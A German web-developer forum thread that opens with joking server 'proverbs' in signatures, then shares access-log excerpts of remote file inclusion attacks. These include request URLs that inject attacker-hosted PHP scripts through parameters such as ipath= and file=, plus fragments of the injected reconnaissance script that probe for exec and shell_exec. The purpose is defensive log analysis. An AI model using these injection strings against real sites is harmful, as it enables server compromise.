Ein guter Server trägt mehr zu unserem Glück bei als tausend Script-Kiddies zu unserem Unglück.

Uneigentlich ziehe ich das Fenster jetzt etwas größer auf. ;)

Mein Fenster ist immer Vollbild, außer ich teste gerade die Flexibilität eines Layouts.

Viele Grüße vom Længlich

[Cybaer]

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...
Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.
Der klügere Server gibt nicht nach.
Im Übrigen bin ich der Meinung, daß Microsoft zerschlagen werden muß.
Der Apple fällt nicht weit vom Schreibtisch.
Was dem Admin erlaubt ist, darf der User noch lange nicht.
Was du Deinem Server heute kannst besorgen, das verschiebe nicht auf morgen.
Zum Server drängt, am Server hängt doch alles.
Jeder Admin ist Herr auf seinem Server.
Der frühe Request fängt den Response.
Drum prüfe wer sich ewig bindet, ob sich nicht noch ein bessrer Server findet.
Wenn morgen die Welt unterginge, dann würde ich heute noch ein Webserver aufsetzen. (www.final.museum)
Apqache oder ISS, das ist die Frage.
Der Server ist dem Server ein Wolf.
There is no such thing as a free server.
Wat is en Server? Da stelle mer uns mal janz dumm und sagen: en Server is en kleiner, schwarzer Kasten mit zwei Kabeln. In dem einen Kabel fließt Strom rein, und dat andere Kabel, dat kriege mer später.
Einen sicheren Server erkennt man in unsicherer Lage. (Server certus in re incerta cernitur.)
Nicht für die Schule, fürs Web 2.0 lernen wir.
Ein guter Server trägt mehr zu unserem Glück bei als tausend Script-Kiddies zu unserem Unglück.

Wo der Admin singt, da laß dich nieder. Gute Server haben viele, ähm, MP3-Files.

Mein Fenster ist immer Vollbild,

Hmm, müßte den Pseudo dann nicht eher "Breitlich" sein? :)

Gruß, Cybaer

[Længlich]

Nahhwanànkak nahokhwadál geenjit shòn tr’iinlii!

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...
Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.
Der klügere Server gibt nicht nach.
Im Übrigen bin ich der Meinung, daß Microsoft zerschlagen werden muß.
Der Apple fällt nicht weit vom Schreibtisch.
Was dem Admin erlaubt ist, darf der User noch lange nicht.
Was du Deinem Server heute kannst besorgen, das verschiebe nicht auf morgen.
Zum Server drängt, am Server hängt doch alles.
Jeder Admin ist Herr auf seinem Server.
Der frühe Request fängt den Response.
Drum prüfe wer sich ewig bindet, ob sich nicht noch ein bessrer Server findet.
Wenn morgen die Welt unterginge, dann würde ich heute noch ein Webserver aufsetzen. (www.final.museum)
Apqache oder ISS, das ist die Frage.
Der Server ist dem Server ein Wolf.
There is no such thing as a free server.
Wat is en Server? Da stelle mer uns mal janz dumm und sagen: en Server is en kleiner, schwarzer Kasten mit zwei Kabeln. In dem einen Kabel fließt Strom rein, und dat andere Kabel, dat kriege mer später.
Einen sicheren Server erkennt man in unsicherer Lage. (Server certus in re incerta cernitur.)
Nicht für die Schule, fürs Web 2.0 lernen wir.
Ein guter Server trägt mehr zu unserem Glück bei als tausend Script-Kiddies zu unserem Unglück.
Wo der Admin singt, da laß dich nieder. Gute Server haben viele, ähm, MP3-Files.

Ein Browser stattet einen mit tausend Augen aus, wie die Göttin Indra. Durch das Web lebt man ungezählte Leben. Man sieht in anderen Dimensionen. Man lebt, das Obere nach unten und das Innere nach außen gekehrt. Man ist niemals allein.

Mein Fenster ist immer Vollbild,

Hmm, müßte den Pseudo dann nicht eher "Breitlich" sein? :)

ROTFL. Mir bleibt die Luft weg...
Der Spitzname wurde mir irgendwann mal während der Schulzeit verpaßt, als Wortspiel aus meinem Nachnamen.

Viele Grüße vom Længlich

[Cybaer]

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...
Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.
Der klügere Server gibt nicht nach.
Im Übrigen bin ich der Meinung, daß Microsoft zerschlagen werden muß.
Der Apple fällt nicht weit vom Schreibtisch.
Was dem Admin erlaubt ist, darf der User noch lange nicht.
Was du Deinem Server heute kannst besorgen, das verschiebe nicht auf morgen.
Zum Server drängt, am Server hängt doch alles.
Jeder Admin ist Herr auf seinem Server.
Der frühe Request fängt den Response.
Drum prüfe wer sich ewig bindet, ob sich nicht noch ein bessrer Server findet.
Wenn morgen die Welt unterginge, dann würde ich heute noch ein Webserver aufsetzen. (www.final.museum)
Apqache oder ISS, das ist die Frage.
Der Server ist dem Server ein Wolf.
There is no such thing as a free server.
Wat is en Server? Da stelle mer uns mal janz dumm und sagen: en Server is en kleiner, schwarzer Kasten mit zwei Kabeln. In dem einen Kabel fließt Strom rein, und dat andere Kabel, dat kriege mer später.
Einen sicheren Server erkennt man in unsicherer Lage. (Server certus in re incerta cernitur.)
Nicht für die Schule, fürs Web 2.0 lernen wir.
Ein guter Server trägt mehr zu unserem Glück bei als tausend Script-Kiddies zu unserem Unglück.
Wo der Admin singt, da laß dich nieder. Gute Server haben viele, ähm, MP3-Files.
Ein Browser stattet einen mit tausend Augen aus, wie die Göttin Indra. Durch das Web lebt man ungezählte Leben. Man sieht in anderen Dimensionen. Man lebt, das Obere nach unten und das Innere nach außen gekehrt. Man ist niemals allein.

Das Volk wünscht Server und Spiele.

Der Spitzname wurde mir irgendwann mal während der Schulzeit verpaßt, als Wortspiel aus meinem Nachnamen.

Ah. Ich hatte schon irgendeine Schüler-Neckerei aus Zeiten der Pubertät befürchtet ... O;->

Gruß, Cybaer

[Shadowcrow]

hi $name,

saugeile 404er:[url:http://magline.de/dkjfglj/]

Schon weg.

nicht sooo ganz: http://reels4actors.de/x404.html

das ist "meine" version der fehlermeldung (hatte ich lange auf einer seite): http://reels4actors.de/xx404.html

und hier eine sammlung diverser 404er: http://www.smashingmagazine.com/2007/08/17/404-error-pages-reloaded/

gruss
shadow

[Cybaer]

Hi,

das ist "meine" version der fehlermeldung (hatte ich lange auf einer seite): http://reels4actors.de/xx404.html

LOL & Merci! :-)

Gruß, Cybaer

[Robert Bienert]

Moin!

Ich musste hierbei schon die ganze Zeit an etwas denken:

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!

Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.

Der Pfad der Client-Server-Kommunikation ist auf beiden Seiten gesäumt mit Freveleien der Script-Kiddies und der Tyrannei böser Spammer. Gesegnet sei der, der im Namen der Barmherzigkeit und des guten Willens Sicherheitslücken aufdeckt. Denn er ist der wahre Hüter seines Servers und der Retter der verlorenen Software. Und ich will große Rachetaten an denen vollführen, die da versuchen, meine Brüder zu vergiften und zu DDOSen, und mit Teergruben werde ich sie strafen, auf dass sie erfahren sollen: Ich sei der Whitehat, wenn ich sie in meinem Honeypot gefangen habe.

Schönes Wochenende,
Robert

[Cybaer]

Hi,

Der Pfad der Client-Server-Kommunikation ist auf beiden Seiten gesäumt mit Freveleien der Script-Kiddies und der Tyrannei böser Spammer. Gesegnet sei der, der im Namen der Barmherzigkeit und des guten Willens Sicherheitslücken aufdeckt. Denn er ist der wahre Hüter seines Servers und der Retter der verlorenen Software. Und ich will große Rachetaten an denen vollführen, die da versuchen, meine Brüder zu vergiften und zu DDOSen, und mit Teergruben werde ich sie strafen, auf dass sie erfahren sollen: Ich sei der Whitehat, wenn ich sie in meinem Honeypot gefangen habe.

Amen! :)

Auf das dich die "Guru Meditation"*) auf ewig verschonen möge! ;-)

Gruß, Cybaer

*) Ich hoffe doch, daß der geneigte Leser noch weiß, was das überhaupt war. ;)

[Ingo Turski]

Hi,

Gute Idee (Auswertungsscript anschmeiß!)! ;-)

habe ich auch gerade mal getan. Und die Zugriffe von libwww-perl/... waren alle entweder Testscripts oder - in der Mehrzahl - Hackerangriffe.
Interessant fand ich, dass die meisten der letzteren versuchten, ein und dasselbe Script einzuschleusen, das mit:
[code lang?php]<?
$dir = @getcwd();
$ker = @php_uname();
echo "31337<br>";
$OS = @PHP_OS;
echo "<br>OSTYPE:$OS<br>";
echo "<br>Kernel:$ker<br>";[/code]
beginnt (würde bei mir mangels short_opemn_tagd sowieso nicht laufen.;-)
und im folgenden wohl nicht so nette Dinge anstellen soll...

Übrigens habe ich meiner Statistik mal eine Rubrik für die kaputtesten Anfragen hinzugefügt. ;-)

Was mich hier nur interessieren würde: wie finde ich heraus, wie Google auf "/p>" kommt?

freundliche Grüße
Ingo

[Patrick Andrieu]

Hallo Ingo!

Übrigens habe ich meiner Statistik mal eine Rubrik für die kaputtesten Anfragen hinzugefügt. ;-)

Genial, danke!

Was mich hier nur interessieren würde: wie finde ich heraus, wie Google auf "/p>" kommt?

Bei Google wundert mich das. Bei anderen Bots finde ich öfters Requests, die mit <td><table (Tag nicht geschlossen) anfangen, so dass sie anfangs meine Tabellenzellen bei der Auswertungsausgabe durcheinander gebracht hatten - da konnte ich ja nicht logischerweise nicht sehen, warum, bis ich mal die HTML-Auswertung mit den wirklichen Logs verglich ;)

Viele Grüße aus Frankfurt/Main,
Patrick

[Ingo Turski]

Hi,
ich habe mir übrigens gerade mal die libwww-perl - Einträge näher angesehen, bei denen das zuvor genannte PHP-Script von unterschiedlichen Domains eingeschmuggelt werden soll.

• an existierende URLs über /bp_ncom.php?bnrep=http://.../galery.jpg??? angehängt
• über /index.php?ipath=http://.../safe.txt?
• über //action.php?scdir=http://.../remote.txt?
• über //config.inc.php?path_escape=http://.../scrol.txt?
• über /admin/doeditconfig.php?thispath=../includes&config[path]=http://.../id.txt???
  Diese Clients kamen bis auf einen STRATO-User aus USA und Südkorea.

Und dann gab es noch einen ganz bösen Buben, der über
/"allinurl:.php?ipath=http://.../brazil667.txt?
bzw.
/"index.php?ipath=http://.../brazil667.txt?
eine Datei einschleusen wollte, bei der Kaspersky sofort aufkreischte und "Backdoor.PHP.Small.o" meldete. Scheint wohl eine Sicherheitslücke in irgend einem Clan-Script zu betreffen, denn der Kerl kam aus Berlin über clanserver4u GmbH (und danach Artfiles IP Network).

freundliche Grüße
Ingo

[Cybaer]

Hi,

Bei Google wundert mich das. Bei anderen Bots finde ich öfters Requests, die mit <td><table (Tag nicht geschlossen) anfangen, so dass sie anfangs meine Tabellenzellen bei der Auswertungsausgabe durcheinander gebracht hatten - da konnte ich ja nicht logischerweise nicht sehen, warum, bis ich mal die HTML-Auswertung mit den wirklichen Logs verglich ;)

Außerdem bietet Google in seinen Webmastertools ja Statistiken an - auch von Bot-Problemen.

Gruß, Cybaer

[Cybaer]

Hi,

Übrigens habe ich meiner Statistik mal eine Rubrik für die kaputtesten Anfragen hinzugefügt. ;-)

:)

Was mich hier nur interessieren würde: wie finde ich heraus, wie Google auf "/p>" kommt?

Kam der Request auch von einer "Google-IP"?

Gruß, Cybaer

[Ingo Turski]

Hi,

Was mich hier nur interessieren würde: wie finde ich heraus, wie Google auf "/p>" kommt?

Kam der Request auch von einer "Google-IP"?

ja natürlich, alle fünf bisher - gefälschte Google-Kennungen fallen in meiner Auswertung sofort auf.

freundliche Grüße
Ingo

[Reiner]

Hi,

217.31.58.188 - libwww-perl/5.805

Die Lib wird gerne von Script-Kiddies/Hackern/Adress-Sammlern/... verwendet, um Bots zu programmieren, die das Web durchforsten, ...

merkwürdige Erklärung für LWP!

Gruß
Reiner

[Patrick Andrieu]

87.230.3.98 - libwww-perl/5.76
Besuchte Domain Uhrzeit Methode Angeforderte Datei Status Referer
www.atomic-eggs.com 18:31:07 GET /cgi-bin/bbs/read.cgi?file=http://geocities.com/lampungstreetart/sefe.txt? 404 -
www.atomic-eggs.com 18:31:07 GET /cgi-bin/cgi-bin/bbs/read.cgi?file=http://geocities.com/lampungstreetart/sefe.txt? 404 -
old.atomic-eggs.com 18:31:16 GET /cgi-bin/cgi-bin/bbs/read.cgi?file=http://geocities.com/lampungstreetart/sefe.txt? 404 -
old.atomic-eggs.com 18:31:16 GET /cgi-bin/bbs/read.cgi?file=http://geocities.com/lampungstreetart/sefe.txt? 404 -
www.atomic-eggs.com 19:13:20 GET /cgi-bin/cgi-bin/bbs/read.cgi?file=http://geocities.com/lampungstreetart/sefe.txt? 404 -
www.atomic-eggs.com 19:13:20 GET /cgi-bin/bbs/read.cgi?file=http://geocities.com/lampungstreetart/sefe.txt? 404 -
old.atomic-eggs.com 19:13:45 GET /cgi-bin/cgi-bin/bbs/read.cgi?file=http://geocities.com/lampungstreetart/sefe.txt? 404 -
old.atomic-eggs.com 19:13:45 GET /cgi-bin/bbs/read.cgi?file=http://geocities.com/lampungstreetart/sefe.txt? 404 -

Interessant ist, dem Link im Paramter »file« zu folgen. Was versuchen die da? Irgendeine Systembefehle:

if(function_exists('exec')){
elseif(function_exists('shell_exec')){
elseif(function_exists('system')){
elseif(function_exists('passthru')){
.
.
.

über die Datei auszuführen?

Viele Grüße aus Frankfurt/Main,
Patrick

[Robert Bienert]

Moin!

old.atomic-eggs.com 19:13:45 GET /cgi-bin/bbs/read.cgi?file=http://geocities.com/lampungstreetart/sefe.txt? 404 -

Interessant ist, dem Link im Paramter »file« zu folgen. Was versuchen die da?

Dahinter steckt die komische Idee, über eine CGI-Datei (vermutlich noch in Perl ;-) ) mit PHP-Befehlen abzuklopfen auf was für einem System der Server läuft und wie man Systemzugriff erhalten kann. Man könnte jetzt z.B. schauen, welche Websoftware eine Datei bbs/read.cgi enthält und dann nach Schwachstellen suchen, um zu Wissen, was die Cracker suchen.

Für Leute, die Cracker und Script-Kiddies in Honigtöpfen fangen, dürften solche Log-Auszüge äußerst interessant sein.

Viele Grüße,
Robert

[Patrick Andrieu]

Hallo Robert!

Man könnte jetzt z.B. schauen, welche Websoftware eine Datei bbs/read.cgi enthält und dann nach Schwachstellen suchen, um zu Wissen, was die Cracker suchen.

Eine Google-Suche nach read.cgi bringt dieses Mal nicht so klare Ergebnisse wie bei main.cgi, das ja bekannt für Sicherheitslücke(n) war.

Für Leute, die Cracker und Script-Kiddies in Honigtöpfen fangen, dürften solche Log-Auszüge äußerst interessant sein.

Deswegen poste ich das hier, Ingo auch. Er sammelt sowas noch eifriger als ich ;)

Viele Grüße aus Frankfurt/Main,
Patrick

[Ingo Turski]

Hi,

Interessant ist, dem Link im Paramter »file« zu folgen.

das dürfte das gleiche Script ein, das bei mir (siehe https://forum.selfhtml.org/?t=164874&m=1077767) über diverse andere Arten eingeschleust werden soll und auf verschiedenen Domains liegt.

freundliche Grüße
Ingo

[Patrick Andrieu]

Hallo Ingo!

das dürfte das gleiche Script ein,

Genau, das ist das Skript.

Viele Grüße aus Frankfurt/Main,
Patrick